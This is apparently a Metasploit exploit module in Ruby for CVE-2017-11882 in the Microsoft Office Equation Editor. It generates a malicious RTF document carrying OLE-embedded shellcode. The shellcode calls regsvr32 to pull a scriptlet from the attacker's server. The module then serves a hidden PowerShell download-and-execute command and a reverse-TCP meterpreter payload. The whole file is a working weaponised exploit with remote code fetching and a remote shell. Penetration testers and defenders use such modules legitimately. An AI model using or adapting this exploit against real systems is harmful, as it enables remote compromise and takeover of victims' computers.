## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Powershell include Msf::Exploit::EXE include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Office CVE-2017-11882', 'Description' => %q{ Module exploits a flaw in how the Equation Editor that allows an attacker to execute arbitrary code in RTF files without interaction. The vulnerability is caused by the Equation Editor, to which fails to properly handle OLE objects in memory. }, 'Author' => ['mumbai', 'embedi'], 'License' => MSF_LICENSE, 'DisclosureDate' => 'Nov 15 2017', 'References' => [ ['URL', 'https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about'], ['URL', 'https://github.com/embedi/CVE-2017-11882'] ], 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ ['Microsoft Office', {} ], ], 'DefaultTarget' => 0, 'Payload' => { 'DisableNops' => true }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } )) register_options([ OptString.new("FILENAME", [true, "Filename to save as, or inject", "msf.rtf"]), OptString.new("FOLDER_PATH", [false, "Path to file to inject", nil]) ]) end def retrieve_header(filename) if (not datastore['FOLDER_PATH'].nil?) path = "#{datastore['FOLDER_PATH']}/#{datastore['FILENAME']}" else path = nil end if (not path.nil?) if ::File.file?(path) File.open(path, 'rb') do |fd| header = fd.read(fd.stat.size).split('{\*\datastore').first header = header.to_s # otherwise I get nil class... print_status("Injecting #{path}...") return header end else header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n" header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n" header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' end else header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n" header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n" header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' end return header end def generate_rtf header = retrieve_header(datastore['FILENAME']) object_class = '{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata ' object_class << '01050000020000000b0000004571756174696f6e2e33000000000000000000000' object_class << 'c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff' object_class << '09000600000000000000000000000100000001000000000000000010000002000' object_class << '00001000000feffffff0000000000000000ffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff040' object_class << '00000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0' object_class << '07400720079000000000000000000000000000000000000000000000000000000' object_class << '00000000000000000000000000000000000016000500ffffffffffffffff02000' object_class << '00002ce020000000000c0000000000000460000000000000000000000008020ce' object_class << 'a5613cd30103000000000200000000000001004f006c006500000000000000000' object_class << '00000000000000000000000000000000000000000000000000000000000000000' object_class << '000000000000000000000000000000000a000201ffffffffffffffffffffffff0' object_class << '00000000000000000000000000000000000000000000000000000000000000000' object_class << '000000000000001400000000000000010043006f006d0070004f0062006a00000' object_class << '00000000000000000000000000000000000000000000000000000000000000000' object_class << '0000000000000000000000000000120002010100000003000000ffffffff00000' object_class << '00000000000000000000000000000000000000000000000000000000000000000' object_class << '0001000000660000000000000003004f0062006a0049006e0066006f000000000' object_class << '00000000000000000000000000000000000000000000000000000000000000000' object_class << '00000000000000000000000012000201ffffffff04000000ffffffff000000000' object_class << '00000000000000000000000000000000000000000000000000000000000000003' object_class << '0000000600000000000000feffffff02000000fefffffffeffffff05000000060' object_class << '0000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'ffffff01000002080000000000000000000000000000000000000000000000000' object_class << '00000000000000000000000000000000000000000000000000000000000000000' object_class << '00000100feff030a0000ffffffff02ce020000000000c00000000000004617000' object_class << '0004d6963726f736f6674204571756174696f6e20332e30000c00000044532045' object_class << '71756174696f6e000b0000004571756174696f6e2e3300f439b27100000000000' object_class << '00000000000000000000000000000000000000000000000000000000000000000' object_class << "00000300040000000000000000000000000000000000000000000000000000000" object_class << "000000000000000000000000000000000000000000000000000000000000000\n" shellcode = "\x1c\x00" # 0: 1c 00 sbb al,0x0 shellcode << "\x00\x00" # 2: 00 00 add BYTE PTR [eax],al shellcode << "\x02\x00" # 4: 02 00 add al,BYTE PTR [eax] shellcode << "\x9e" # 6: 9e sahf shellcode << "\xc4\xa9\x00\x00\x00\x00" # 7: c4 a9 00 00 00 00 les ebp,FWORD PTR [ecx+0x0] shellcode << "\x00\x00" # d: 00 00 add BYTE PTR [eax],al shellcode << "\x00\xc8" # f: 00 c8 add al,cl shellcode << "\xa7" # 11: a7 cmps DWORD PTR ds:[esi],DWORD PTR es:[edi] shellcode << "\\" # 12: 5c pop esp shellcode << "\x00\xc4" # 13: 00 c4 add ah,al shellcode << "\xee" # 15: ee out dx,al shellcode << "[" # 16: 5b pop ebx shellcode << "\x00\x00" # 17: 00 00 add BYTE PTR [eax],al shellcode << "\x00\x00" # 19: 00 00 add BYTE PTR [eax],al shellcode << "\x00\x03" # 1b: 00 03 add BYTE PTR [ebx],al shellcode << "\x01\x01" # 1d: 01 01 add DWORD PTR [ecx],eax shellcode << "\x03\n" # 1f: 03 0a add ecx,DWORD PTR [edx] shellcode << "\n\x01" # 21: 0a 01 or al,BYTE PTR [ecx] shellcode << "\x08ZZ" # 23: 08 5a 5a or BYTE PTR [edx+0x5a],bl shellcode << "\xB8\x44\xEB\x71\x12" # 26: b8 44 eb 71 12 mov eax,0x1271eb44 shellcode << "\xBA\x78\x56\x34\x12" # 2b: ba 78 56 34 12 mov edx,0x12345678 shellcode << "\x31\xD0" # 30: 31 d0 xor eax,edx shellcode << "\x8B\x08" # 32: 8b 08 mov ecx,DWORD PTR [eax] shellcode << "\x8B\x09" # 34: 8b 09 mov ecx,DWORD PTR [ecx] shellcode << "\x8B\x09" # 36: 8b 09 mov ecx,DWORD PTR [ecx] shellcode << "\x66\x83\xC1\x3C" # 38: 66 83 c1 3c add cx,0x3c shellcode << "\x31\xDB" # 3c: 31 db xor ebx,ebx shellcode << "\x53" # 3e: 53 push ebx shellcode << "\x51" # 3f: 51 push ecx shellcode << "\xBE\x64\x3E\x72\x12" # 40: be 64 3e 72 12 mov esi,0x12723e64 shellcode << "\x31\xD6" # 45: 31 d6 xor esi,edx shellcode << "\xFF\x16" # 47: ff 16 call DWORD PTR [esi] shellcode << "\x53" # 49: 53 push ebx shellcode << "\x66\x83\xEE\x4C" # 4a: 66 83 ee 4c sub si,0x4c shellcode << "\xFF\x10" # 4e: ff 10 call DWORD PTR [eax] shellcode << "\x90" # 50: 90 nop shellcode << "\x90" # 50: 90 nop footer = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' footer << '4500710075006100740069006F006E0020004E006100740069007600650000000' footer << '00000000000000000000000000000000000000000000000000000' footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000' footer << '00000000000000000000000000000000000000000000000000000000000000400' footer << '0000C5000000000000000000000000000000000000000000000000' footer << '0000000000000000000000000000000000000000000000000000000000000000' footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00' footer << '000000000000000000000000000000000000000000000000000000' footer << '0000000000000000000000000000000000000000000000000000000000000000' footer << '000000000000000000000000000000000000000000000000000000' footer << '0000000000000000000000000000000000000000000000000000000000FFFFFF' footer << 'FFFFFFFFFFFFFFFFFF000000000000000000000000000000000000' footer << '00000000000000000000000000000000000000000000000000000000000000000' footer << '00000000000000000000000000000000000000000000000000000' footer << '00000000000000000000000000000000000000000000000000000000000000000' footer << '0000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000' footer << '00000000000000000000000000000000000000000000000000000000000000000' footer << '00000000000000001050000050000000D0000004D45544146494C' footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C' footer << '500000002001C0000000000050000000902000000000500000002' footer << '0101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF' footer << '000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE00000000000090' footer << '01000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A60019016' footer << '0A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A00000031313131313131' footer << '3131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB02100007000000' footer << '0000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F00100' footer << '00030000000000' + "\n" footer << '}{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260' + "\n" footer << "0100090000039e00000002001c0000000000050000000902000000000500000002010100000005\n" footer << "0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002\n" footer << "1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000\n" footer << "0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000\n" footer << "0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000\n" footer << "002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100\n" footer << "000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a\n" footer << "0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300\n" footer << "00000000\n" footer << "}}}\n" footer << '\par}' + "\n" payload = shellcode payload += [0x00402114].pack("V") payload += "\x00" * 2 payload += "regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll" payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first payload = header + object_class + payload + footer payload end def gen_psh(url, *method) ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl if method.include? 'string' download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url)) else # Random filename to use, if there isn't anything set random = "#{rand_text_alphanumeric 8}.exe" # Set filename (Use random filename if empty) filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME'] # Set path (Use %TEMP% if empty) path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}') # Join Path and Filename file = %Q(echo (#{path}+'\\#{filename}')) # Generate download PowerShell command download_string = Rex::Powershell::PshMethods.download_run(url, file) end download_and_run = "#{ignore_cert}#{download_string}" # Generate main PowerShell command return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run) end def on_request_uri(cli, _request) if _request.raw_uri =~ /\.sct$/ print_status("Handling request for .sct from #{cli.peerhost}") payload = gen_psh("#{get_uri}", "string") data = gen_sct_file(payload) send_response(cli, data, 'Content-Type' => 'text/plain') else print_status("Delivering payload to #{cli.peerhost}...") p = regenerate_payload(cli) data = cmd_psh_payload(p.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true ) send_response(cli, data, 'Content-Type' => 'application/octet-stream') end end def rand_class_id "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}" end def gen_sct_file(command) # If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error). if command == '' return %{} # If a command is provided, tell the target system to execute it. else return %{} end end def primer file_create(generate_rtf) end end